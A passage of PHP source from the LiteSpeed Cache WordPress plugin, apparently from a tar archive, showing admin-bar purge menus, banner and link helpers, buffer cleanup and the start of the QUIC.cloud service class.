		$db_dismiss_msg = self::get_option(Admin_Display::DB_DISMISS_MSG);
		if (!$db_dismiss_msg) {
			self::update_option(Admin_Display::DB_DISMISS_MSG, -1);
		}
		return $db_dismiss_msg == Admin_Display::RULECONFLICT_ON;
	}

	/**
	 * Check if has whm notice
	 *
	 * @since 1.1.1
	 * @access public
	 * @return boolean
	 */
	public static function has_whm_msg() {
		$val = self::get_option(self::WHM_MSG);
		if (!$val) {
			self::dismiss_whm();
			return false;
		}
		return $val == self::WHM_MSG_VAL;
	}

	/**
	 * Delete whm msg tag
	 *
	 * @since 1.1.1
	 * @access public
	 */
	public static function dismiss_whm() {
		self::update_option(self::WHM_MSG, -1);
	}

	/**
	 * Set current page a litespeed page
	 *
	 * @since  2.9
	 */
	private function _is_litespeed_page() {
		if (
			!empty($_GET['page']) &&
			in_array($_GET['page'], array(
				'litespeed-settings',
				'litespeed-dash',
				Admin::PAGE_EDIT_HTACCESS,
				'litespeed-optimization',
				'litespeed-crawler',
				'litespeed-import',
				'litespeed-report',
			))
		) {
			return true;
		}

		return false;
	}

	/**
	 * Display promo banner
	 *
	 * @since 2.1
	 * @access public
	 */
	public function show_promo( $check_only = false ) {
		$is_litespeed_page = $this->_is_litespeed_page();

		// Bypass showing info banner if disabled all in debug
		if (defined('LITESPEED_DISABLE_ALL') && LITESPEED_DISABLE_ALL) {
			return false;
		}

		if (file_exists(ABSPATH . '.litespeed_no_banner')) {
			defined('LSCWP_LOG') && Debug2::debug('[GUI] Bypass banners due to silence file');
			return false;
		}

		foreach ($this->_promo_list as $promo_tag => $v) {
			list($delay_days, $litespeed_page_only) = $v;

			if ($litespeed_page_only && !$is_litespeed_page) {
				continue;
			}

			// first time check
			if (empty($this->_summary[$promo_tag])) {
				$this->_summary[$promo_tag] = time() + 86400 * $delay_days;
				self::save_summary();

				continue;
			}

			$promo_timestamp = $this->_summary[$promo_tag];

			// was ticked as done
			if ($promo_timestamp == 'done') {
				continue;
			}

			// Not reach the dateline yet
			if (time() < $promo_timestamp) {
				continue;
			}

			// try to load, if can pass, will set $this->_promo_true = true
			$this->_promo_true = false;
			include LSCWP_DIR . "tpl/banner/$promo_tag.php";

			// If not defined, means it didn't pass the display workflow in tpl.
			if (!$this->_promo_true) {
				continue;
			}

			if ($check_only) {
				return $promo_tag;
			}

			defined('LSCWP_LOG') && Debug2::debug('[GUI] Show promo ' . $promo_tag);

			// Only contain one
			break;
		}

		return false;
	}

	/**
	 * Load frontend public script
	 *
	 * @since  1.8.2
	 * @access public
	 */
	public function frontend_enqueue_style_public() {
		wp_enqueue_script(Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/js/instant_click.min.js', array(), Core::VER, true);
	}

	/**
	 * Load frontend menu shortcut
	 *
	 * @since  1.3
	 * @access public
	 */
	public function frontend_enqueue_style() {
		wp_enqueue_style(Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/css/litespeed.css', array(), Core::VER, 'all');
	}

	/**
	 * Load frontend menu shortcut
	 *
	 * @since  1.3
	 * @access public
	 */
	public function frontend_shortcut() {
		global $wp_admin_bar;

		$wp_admin_bar->add_menu(array(
			'id' => 'litespeed-menu',
			'title' => '<span class="ab-icon"></span>',
			'href' => get_admin_url(null, 'admin.php?page=litespeed'),
			'meta' => array(
				'tabindex' => 0,
				'class' => 'litespeed-top-toolbar',
			),
		));

		$wp_admin_bar->add_menu(array(
			'parent' => 'litespeed-menu',
			'id' => 'litespeed-purge-single',
			'title' => __('Purge this page', 'litespeed-cache') . ' - LSCache',
			'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_FRONT, false, true),
			'meta' => array( 'tabindex' => '0' ),
		));

		if ($this->has_cache_folder('ucss')) {
			$possible_url_tag = UCSS::get_url_tag();
			$append_arr       = array();
			if ($possible_url_tag) {
				$append_arr['url_tag'] = $possible_url_tag;
			}

			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-single-ucss',
				'title' => __('Purge this page', 'litespeed-cache') . ' - UCSS',
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_UCSS, false, true, $append_arr),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		$wp_admin_bar->add_menu(array(
			'parent' => 'litespeed-menu',
			'id' => 'litespeed-single-action',
			'title' => __('Mark this page as ', 'litespeed-cache'),
			'meta' => array( 'tabindex' => '0' ),
		));

		if (!empty($_SERVER['REQUEST_URI'])) {
			$append_arr = array(
				Conf::TYPE_SET . '[' . self::O_CACHE_FORCE_URI . '][]' => $_SERVER['REQUEST_URI'] . '$',
				'redirect' => $_SERVER['REQUEST_URI'],
			);
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-single-action',
				'id' => 'litespeed-single-forced_cache',
				'title' => __('Forced cacheable', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr),
			));

			$append_arr = array(
				Conf::TYPE_SET . '[' . self::O_CACHE_EXC . '][]' => $_SERVER['REQUEST_URI'] . '$',
				'redirect' => $_SERVER['REQUEST_URI'],
			);
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-single-action',
				'id' => 'litespeed-single-noncache',
				'title' => __('Non cacheable', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr),
			));

			$append_arr = array(
				Conf::TYPE_SET . '[' . self::O_CACHE_PRIV_URI . '][]' => $_SERVER['REQUEST_URI'] . '$',
				'redirect' => $_SERVER['REQUEST_URI'],
			);
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-single-action',
				'id' => 'litespeed-single-private',
				'title' => __('Private cache', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr),
			));

			$append_arr = array(
				Conf::TYPE_SET . '[' . self::O_OPTM_EXC . '][]' => $_SERVER['REQUEST_URI'] . '$',
				'redirect' => $_SERVER['REQUEST_URI'],
			);
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-single-action',
				'id' => 'litespeed-single-nonoptimize',
				'title' => __('No optimization', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr),
			));
		}

		$wp_admin_bar->add_menu(array(
			'parent' => 'litespeed-single-action',
			'id' => 'litespeed-single-more',
			'title' => __('More settings', 'litespeed-cache'),
			'href' => get_admin_url(null, 'admin.php?page=litespeed-cache'),
		));

		$wp_admin_bar->add_menu(array(
			'parent' => 'litespeed-menu',
			'id' => 'litespeed-purge-all',
			'title' => __('Purge All', 'litespeed-cache'),
			'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL, false, '_ori'),
			'meta' => array( 'tabindex' => '0' ),
		));

		$wp_admin_bar->add_menu(array(
			'parent' => 'litespeed-menu',
			'id' => 'litespeed-purge-all-lscache',
			'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('LSCache', 'litespeed-cache'),
			'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LSCACHE, false, '_ori'),
			'meta' => array( 'tabindex' => '0' ),
		));

		$wp_admin_bar->add_menu(array(
			'parent' => 'litespeed-menu',
			'id' => 'litespeed-purge-cssjs',
			'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('CSS/JS Cache', 'litespeed-cache'),
			'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CSSJS, false, '_ori'),
			'meta' => array( 'tabindex' => '0' ),
		));

		if ($this->conf(self::O_CDN_CLOUDFLARE)) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-cloudflare',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('Cloudflare', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_CDN_CLOUDFLARE, CDN\Cloudflare::TYPE_PURGE_ALL),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if (defined('LSCWP_OBJECT_CACHE')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-object',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('Object Cache', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OBJECT, false, '_ori'),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if (Router::opcache_enabled()) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-opcache',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('Opcode Cache', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OPCACHE, false, '_ori'),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if ($this->has_cache_folder('ccss')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-ccss',
				'title' => __('Purge All', 'litespeed-cache') . ' - CCSS',
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CCSS, false, '_ori'),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if ($this->has_cache_folder('ucss')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-ucss',
				'title' => __('Purge All', 'litespeed-cache') . ' - UCSS',
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_UCSS, false, '_ori'),
			));
		}

		if ($this->has_cache_folder('localres')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-localres',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('Localized Resources', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LOCALRES, false, '_ori'),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if ($this->has_cache_folder('lqip')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-placeholder',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('LQIP Cache', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LQIP, false, '_ori'),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if ($this->has_cache_folder('avatar')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-avatar',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('Gravatar Cache', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_AVATAR, false, '_ori'),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		do_action('litespeed_frontend_shortcut');
	}

	/**
	 * Hooked to wp_before_admin_bar_render.
	 * Adds a link to the admin bar so users can quickly purge all.
	 *
	 * @access public
	 * @global WP_Admin_Bar $wp_admin_bar
	 * @since 1.7.2 Moved from admin_display.cls to gui.cls; Renamed from `add_quick_purge` to `backend_shortcut`
	 */
	public function backend_shortcut() {
		global $wp_admin_bar;

		if (defined('LITESPEED_DISABLE_ALL') && LITESPEED_DISABLE_ALL) {
			$wp_admin_bar->add_menu(array(
				'id' => 'litespeed-menu',
				'title' => '<span class="ab-icon icon_disabled" title="LiteSpeed Cache"></span>',
				'href' => 'admin.php?page=litespeed-toolbox#settings-debug',
				'meta' => array(
					'tabindex' => 0,
					'class' => 'litespeed-top-toolbar',
				),
			));
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-enable_all',
				'title' => __('Enable All Features', 'litespeed-cache'),
				'href' => 'admin.php?page=litespeed-toolbox#settings-debug',
				'meta' => array( 'tabindex' => '0' ),
			));
			return;
		}

		// if ( defined( 'LITESPEED_ON' ) ) {
		$wp_admin_bar->add_menu(array(
			'id' => 'litespeed-menu',
			'title' => '<span class="ab-icon" title="' . __('LiteSpeed Cache Purge All', 'litespeed-cache') . ' - ' . __('LSCache', 'litespeed-cache') . '"></span>',
			'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LSCACHE),
			'meta' => array(
				'tabindex' => 0,
				'class' => 'litespeed-top-toolbar',
			),
		));
		// }
		// else {
		// $wp_admin_bar->add_menu( array(
		// 'id'    => 'litespeed-menu',
		// 'title' => '<span class="ab-icon" title="' . __( 'LiteSpeed Cache', 'litespeed-cache' ) . '"></span>',
		// 'meta'  => array( 'tabindex' => 0, 'class' => 'litespeed-top-toolbar' ),
		// ) );
		// }

		$wp_admin_bar->add_menu(array(
			'parent' => 'litespeed-menu',
			'id' => 'litespeed-bar-manage',
			'title' => __('Manage', 'litespeed-cache'),
			'href' => 'admin.php?page=litespeed',
			'meta' => array( 'tabindex' => '0' ),
		));

		$wp_admin_bar->add_menu(array(
			'parent' => 'litespeed-menu',
			'id' => 'litespeed-bar-setting',
			'title' => __('Settings', 'litespeed-cache'),
			'href' => 'admin.php?page=litespeed-cache',
			'meta' => array( 'tabindex' => '0' ),
		));

		if (!is_network_admin()) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-bar-imgoptm',
				'title' => __('Image Optimization', 'litespeed-cache'),
				'href' => 'admin.php?page=litespeed-img_optm',
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		$wp_admin_bar->add_menu(array(
			'parent' => 'litespeed-menu',
			'id' => 'litespeed-purge-all',
			'title' => __('Purge All', 'litespeed-cache'),
			'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL),
			'meta' => array( 'tabindex' => '0' ),
		));

		$wp_admin_bar->add_menu(array(
			'parent' => 'litespeed-menu',
			'id' => 'litespeed-purge-all-lscache',
			'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('LSCache', 'litespeed-cache'),
			'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LSCACHE),
			'meta' => array( 'tabindex' => '0' ),
		));

		$wp_admin_bar->add_menu(array(
			'parent' => 'litespeed-menu',
			'id' => 'litespeed-purge-cssjs',
			'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('CSS/JS Cache', 'litespeed-cache'),
			'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CSSJS),
			'meta' => array( 'tabindex' => '0' ),
		));

		if ($this->conf(self::O_CDN_CLOUDFLARE)) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-cloudflare',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('Cloudflare', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_CDN_CLOUDFLARE, CDN\Cloudflare::TYPE_PURGE_ALL),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if (defined('LSCWP_OBJECT_CACHE')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-object',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('Object Cache', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OBJECT),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if (Router::opcache_enabled()) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-opcache',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('Opcode Cache', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OPCACHE),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if ($this->has_cache_folder('ccss')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-ccss',
				'title' => __('Purge All', 'litespeed-cache') . ' - CCSS',
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CCSS),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if ($this->has_cache_folder('ucss')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-ucss',
				'title' => __('Purge All', 'litespeed-cache') . ' - UCSS',
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_UCSS),
			));
		}

		if ($this->has_cache_folder('localres')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-localres',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('Localized Resources', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LOCALRES),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if ($this->has_cache_folder('lqip')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-placeholder',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('LQIP Cache', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LQIP),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		if ($this->has_cache_folder('avatar')) {
			$wp_admin_bar->add_menu(array(
				'parent' => 'litespeed-menu',
				'id' => 'litespeed-purge-avatar',
				'title' => __('Purge All', 'litespeed-cache') . ' - ' . __('Gravatar Cache', 'litespeed-cache'),
				'href' => Utility::build_url(Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_AVATAR),
				'meta' => array( 'tabindex' => '0' ),
			));
		}

		do_action('litespeed_backend_shortcut');
	}

	/**
	 * Clear unfinished data
	 *
	 * @since  2.4.2
	 * @access public
	 */
	public static function img_optm_clean_up( $unfinished_num ) {
		return sprintf(
			'<a href="%1$s" class="button litespeed-btn-warning" data-balloon-pos="up" aria-label="%2$s"><span class="dashicons dashicons-editor-removeformatting"></span>&nbsp;%3$s</a>',
			Utility::build_url(Router::ACTION_IMG_OPTM, Img_Optm::TYPE_CLEAN),
			__('Remove all previous unfinished image optimization requests.', 'litespeed-cache'),
			__('Clean Up Unfinished Data', 'litespeed-cache') . ($unfinished_num ? ': ' . Admin_Display::print_plural($unfinished_num, 'image') : '')
		);
	}

	/**
	 * Generate install link
	 *
	 * @since  2.4.2
	 * @access public
	 */
	public static function plugin_install_link( $title, $name, $v ) {
		$url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=' . $name), 'install-plugin_' . $name);

		$action = sprintf(
			'<a href="%1$s" class="install-now" data-slug="%2$s" data-name="%3$s" aria-label="%4$s">%5$s</a>',
			esc_url($url),
			esc_attr($name),
			esc_attr($title),
			esc_attr(sprintf(__('Install %s', 'litespeed-cache'), $title)),
			__('Install Now', 'litespeed-cache')
		);

		return $action;

		// $msg .= " <a href='$upgrade_link' class='litespeed-btn-success' target='_blank'>" . __( 'Click here to upgrade', 'litespeed-cache' ) . '</a>';
	}

	/**
	 * Generate upgrade link
	 *
	 * @since  2.4.2
	 * @access public
	 */
	public static function plugin_upgrade_link( $title, $name, $v ) {
		$details_url = self_admin_url('plugin-install.php?tab=plugin-information&plugin=' . $name . '&section=changelog&TB_iframe=true&width=600&height=800');
		$file        = $name . '/' . $name . '.php';

		$msg = sprintf(
			__('<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.', 'litespeed-cache'),
			esc_url($details_url),
			sprintf('class="thickbox open-plugin-details-modal" aria-label="%s"', esc_attr(sprintf(__('View %1$s version %2$s details', 'litespeed-cache'), $title, $v))),
			$v,
			wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=') . $file, 'upgrade-plugin_' . $file),
			sprintf('class="update-link" aria-label="%s"', esc_attr(sprintf(__('Update %s now', 'litespeed-cache'), $title)))
		);

		return $msg;
	}

	/**
	 * Finalize buffer by GUI class
	 *
	 * @since  1.6
	 * @access public
	 */
	public function finalize( $buffer ) {
		$buffer = $this->_clean_wrapper($buffer);

		// Maybe restore doc.ref
		if ($this->conf(Base::O_GUEST) && strpos($buffer, '<head>') !== false && defined('LITESPEED_IS_HTML')) {
			$buffer = $this->_enqueue_guest_docref_js($buffer);
		}

		if (defined('LITESPEED_GUEST') && LITESPEED_GUEST && strpos($buffer, '</body>') !== false && defined('LITESPEED_IS_HTML')) {
			$buffer = $this->_enqueue_guest_js($buffer);
		}

		return $buffer;
	}

	/**
	 * Append guest restore doc.ref JS for organic traffic count
	 *
	 * @since  4.4.6
	 */
	private function _enqueue_guest_docref_js( $buffer ) {
		$js_con = File::read(LSCWP_DIR . self::LIB_GUEST_DOCREF_JS);
		$buffer = preg_replace('/<head>/', '<head><script data-no-optimize="1">' . $js_con . '</script>', $buffer, 1);
		return $buffer;
	}

	/**
	 * Append guest JS to update vary
	 *
	 * @since  4.0
	 */
	private function _enqueue_guest_js( $buffer ) {
		$js_con = File::read(LSCWP_DIR . self::LIB_GUEST_JS);
		// $guest_update_url = add_query_arg( 'litespeed_guest', 1, home_url( '/' ) );
		$guest_update_url = parse_url(LSWCP_PLUGIN_URL . self::PHP_GUEST, PHP_URL_PATH);
		$js_con           = str_replace('litespeed_url', esc_url($guest_update_url), $js_con);
		$buffer           = preg_replace('/<\/body>/', '<script data-no-optimize="1">' . $js_con . '</script></body>', $buffer, 1);
		return $buffer;
	}

	/**
	 * Clean wrapper from buffer
	 *
	 * @since  1.4
	 * @since  1.6 converted to private with adding prefix _
	 * @access private
	 */
	private function _clean_wrapper( $buffer ) {
		if (self::$_clean_counter < 1) {
			Debug2::debug2('GUI bypassed by no counter');
			return $buffer;
		}

		Debug2::debug2('GUI start cleaning counter ' . self::$_clean_counter);

		for ($i = 1; $i <= self::$_clean_counter; $i++) {
			// If miss beginning
			$start = strpos($buffer, self::clean_wrapper_begin($i));
			if ($start === false) {
				$buffer = str_replace(self::clean_wrapper_end($i), '', $buffer);
				Debug2::debug2("GUI lost beginning wrapper $i");
				continue;
			}

			// If miss end
			$end_wrapper = self::clean_wrapper_end($i);
			$end         = strpos($buffer, $end_wrapper);
			if ($end === false) {
				$buffer = str_replace(self::clean_wrapper_begin($i), '', $buffer);
				Debug2::debug2("GUI lost ending wrapper $i");
				continue;
			}

			// Now replace wrapped content
			$buffer = substr_replace($buffer, '', $start, $end - $start + strlen($end_wrapper));
			Debug2::debug2("GUI cleaned wrapper $i");
		}

		return $buffer;
	}

	/**
	 * Display a to-be-removed html wrapper
	 *
	 * @since  1.4
	 * @access public
	 */
	public static function clean_wrapper_begin( $counter = false ) {
		if ($counter === false) {
			++self::$_clean_counter;
			$counter = self::$_clean_counter;
			Debug2::debug("GUI clean wrapper $counter begin");
		}
		return '<!-- LiteSpeed To Be Removed begin ' . $counter . ' -->';
	}

	/**
	 * Display a to-be-removed html wrapper
	 *
	 * @since  1.4
	 * @access public
	 */
	public static function clean_wrapper_end( $counter = false ) {
		if ($counter === false) {
			$counter = self::$_clean_counter;
			Debug2::debug("GUI clean wrapper $counter end");
		}
		return '<!-- LiteSpeed To Be Removed end ' . $counter . ' -->';
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/cloud.cls.php000064400000157367151031165260017500 0ustar00<?php
// phpcs:ignoreFile
/**
 * Cloud service cls
 *
 * @since      3.0
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Cloud extends Base {

	const LOG_TAG           = '❄️';
	private $_cloud_server      = 'https://api.quic.cloud';
	private $_cloud_ips         = 'https://quic.cloud/ips';
	private $_cloud_server_dash = 'https://my.quic.cloud';
	private $_cloud_server_wp   = 'https://wpapi.quic.cloud';

	const SVC_D_ACTIVATE       = 'd/activate';
	const SVC_U_ACTIVATE       = 'u/wp3/activate';
	const SVC_D_ENABLE_CDN     = 'd/enable_cdn';
	const SVC_D_LINK           = 'd/link';
	const SVC_D_API            = 'd/api';
	const SVC_D_DASH           = 'd/dash';
	const SVC_D_V3UPGRADE      = 'd/v3upgrade';
	const SVC_U_LINK           = 'u/wp3/link';
	const SVC_U_ENABLE_CDN     = 'u/wp3/enablecdn';
	const SVC_D_STATUS_CDN_CLI = 'd/status/cdn_cli';
	const SVC_D_NODES          = 'd/nodes';
	const SVC_D_SYNC_CONF      = 'd/sync_conf';
	const SVC_D_USAGE          = 'd/usage';
	const SVC_D_SETUP_TOKEN    = 'd/get_token';
	const SVC_D_DEL_CDN_DNS    = 'd/del_cdn_dns';
	const SVC_PAGE_OPTM        = 'page_optm';
	const SVC_CCSS             = 'ccss';
	const SVC_UCSS             = 'ucss';
	const SVC_VPI              = 'vpi';
	const SVC_LQIP             = 'lqip';
	const SVC_QUEUE            = 'queue';
	const SVC_IMG_OPTM         = 'img_optm';
	const SVC_HEALTH           = 'health';
	const SVC_CDN              = 'cdn';

	const IMG_OPTM_DEFAULT_GROUP = 200;

	const IMGOPTM_TAKEN = 'img_optm-taken';

	const TTL_NODE       = 3; // Days before node expired
	const EXPIRATION_REQ = 300; // Seconds of min interval between two unfinished requests
	const TTL_IPS        = 3; // Days for node ip list cache

	const API_REPORT          = 'wp/report';
	const API_NEWS            = 'news';
	const API_VER             = 'ver_check';
	const API_BETA_TEST       = 'beta_test';
	const API_REST_ECHO       = 'tool/wp_rest_echo';
	const API_SERVER_KEY_SIGN = 'key_sign';

	private static $center_svc_set = array(
		self::SVC_D_ACTIVATE,
		self::SVC_U_ACTIVATE,
		self::SVC_D_ENABLE_CDN,
		self::SVC_D_LINK,
		self::SVC_D_NODES,
		self::SVC_D_SYNC_CONF,
		self::SVC_D_USAGE,
		self::SVC_D_API,
		self::SVC_D_V3UPGRADE,
		self::SVC_D_DASH,
		self::SVC_D_STATUS_CDN_CLI,
		// self::API_NEWS,
		self::API_REPORT,
		// self::API_VER,
		// self::API_BETA_TEST,
		self::SVC_D_SETUP_TOKEN,
		self::SVC_D_DEL_CDN_DNS,
	);

	private static $wp_svc_set = array( self::API_NEWS, self::API_VER, self::API_BETA_TEST, self::API_REST_ECHO );

	// No api key needed for these services
	private static $_pub_svc_set = array( self::API_NEWS, self::API_REPORT, self::API_VER, self::API_BETA_TEST, self::API_REST_ECHO, self::SVC_D_V3UPGRADE, self::SVC_D_DASH );

	private static $_queue_svc_set = array( self::SVC_CCSS, self::SVC_UCSS, self::SVC_VPI );

	public static $services_load_check = array(
		// self::SVC_CCSS,
		// self::SVC_UCSS,
		// self::SVC_VPI,
		self::SVC_LQIP,
		self::SVC_HEALTH,
	);

	public static $services = array(
		self::SVC_IMG_OPTM,
		self::SVC_PAGE_OPTM,
		self::SVC_CCSS,
		self::SVC_UCSS,
		self::SVC_VPI,
		self::SVC_LQIP,
		self::SVC_CDN,
		self::SVC_HEALTH,
		// self::SVC_QUEUE,
	);

	const TYPE_CLEAR_PROMO    = 'clear_promo';
	const TYPE_REDETECT_CLOUD = 'redetect_cloud';
	const TYPE_CLEAR_CLOUD    = 'clear_cloud';
	const TYPE_ACTIVATE       = 'activate';
	const TYPE_LINK           = 'link';
	const TYPE_ENABLE_CDN     = 'enablecdn';
	const TYPE_API            = 'api';
	const TYPE_SYNC_USAGE     = 'sync_usage';
	const TYPE_RESET          = 'reset';
	const TYPE_SYNC_STATUS    = 'sync_status';

	protected $_summary;

	/**
	 * Init
	 *
	 * @since  3.0
	 */
	public function __construct() {
		if (defined('LITESPEED_DEV') && constant('LITESPEED_DEV')) {
			$this->_cloud_server      = 'https://api.preview.quic.cloud';
			$this->_cloud_ips         = 'https://api.preview.quic.cloud/ips';
			$this->_cloud_server_dash = 'https://my.preview.quic.cloud';
			$this->_cloud_server_wp   = 'https://wpapi.quic.cloud';
		}
		$this->_summary = self::get_summary();
	}

	/**
	 * Init QC setup preparation
	 *
	 * @since 7.0
	 */
	public function init_qc_prepare() {
		if (empty($this->_summary['sk_b64'])) {
			$keypair                  = sodium_crypto_sign_keypair();
			$pk                       = base64_encode(sodium_crypto_sign_publickey($keypair));
			$sk                       = base64_encode(sodium_crypto_sign_secretkey($keypair));
			$this->_summary['pk_b64'] = $pk;
			$this->_summary['sk_b64'] = $sk;
			$this->save_summary();
			// ATM `qc_activated` = null
			return true;
		}

		return false;
	}

	/**
	 * Init QC setup
	 *
	 * @since 7.0
	 */
	public function init_qc() {
		$this->init_qc_prepare();

		$ref = $this->_get_ref_url();

		// WPAPI REST echo dryrun
		$echobox  = self::post(self::API_REST_ECHO);
		if ($echobox === false) {
			self::debugErr('REST Echo Failed!');
			$msg = __("QUIC.cloud's access to your WP REST API seems to be blocked.", 'litespeed-cache');
			Admin_Display::error($msg);
			wp_redirect($ref);
			return;
		}

		self::debug('echo succeeded');

		// Load separate thread echoed data from storage
		if (empty($echobox['wpapi_ts']) || empty($echobox['wpapi_signature_b64'])) {
			Admin_Display::error(__('Failed to get echo data from WPAPI', 'litespeed-cache'));
			wp_redirect($ref);
			return;
		}

		$data      = array(
			'wp_pk_b64' => $this->_summary['pk_b64'],
			'wpapi_ts' => $echobox['wpapi_ts'],
			'wpapi_signature_b64' => $echobox['wpapi_signature_b64'],
		);
		$server_ip = $this->conf(self::O_SERVER_IP);
		if ($server_ip) {
			$data['server_ip'] = $server_ip;
		}

		// Activation redirect
		$param = array(
			'site_url' => site_url(),
			'ver' => Core::VER,
			'data' => $data,
			'ref' => $ref,
		);
		wp_redirect($this->_cloud_server_dash . '/' . self::SVC_U_ACTIVATE . '?data=' . urlencode(Utility::arr2str($param)));
		exit();
	}

	/**
	 * Decide the ref
	 */
	private function _get_ref_url( $ref = false ) {
		$link = 'admin.php?page=litespeed';
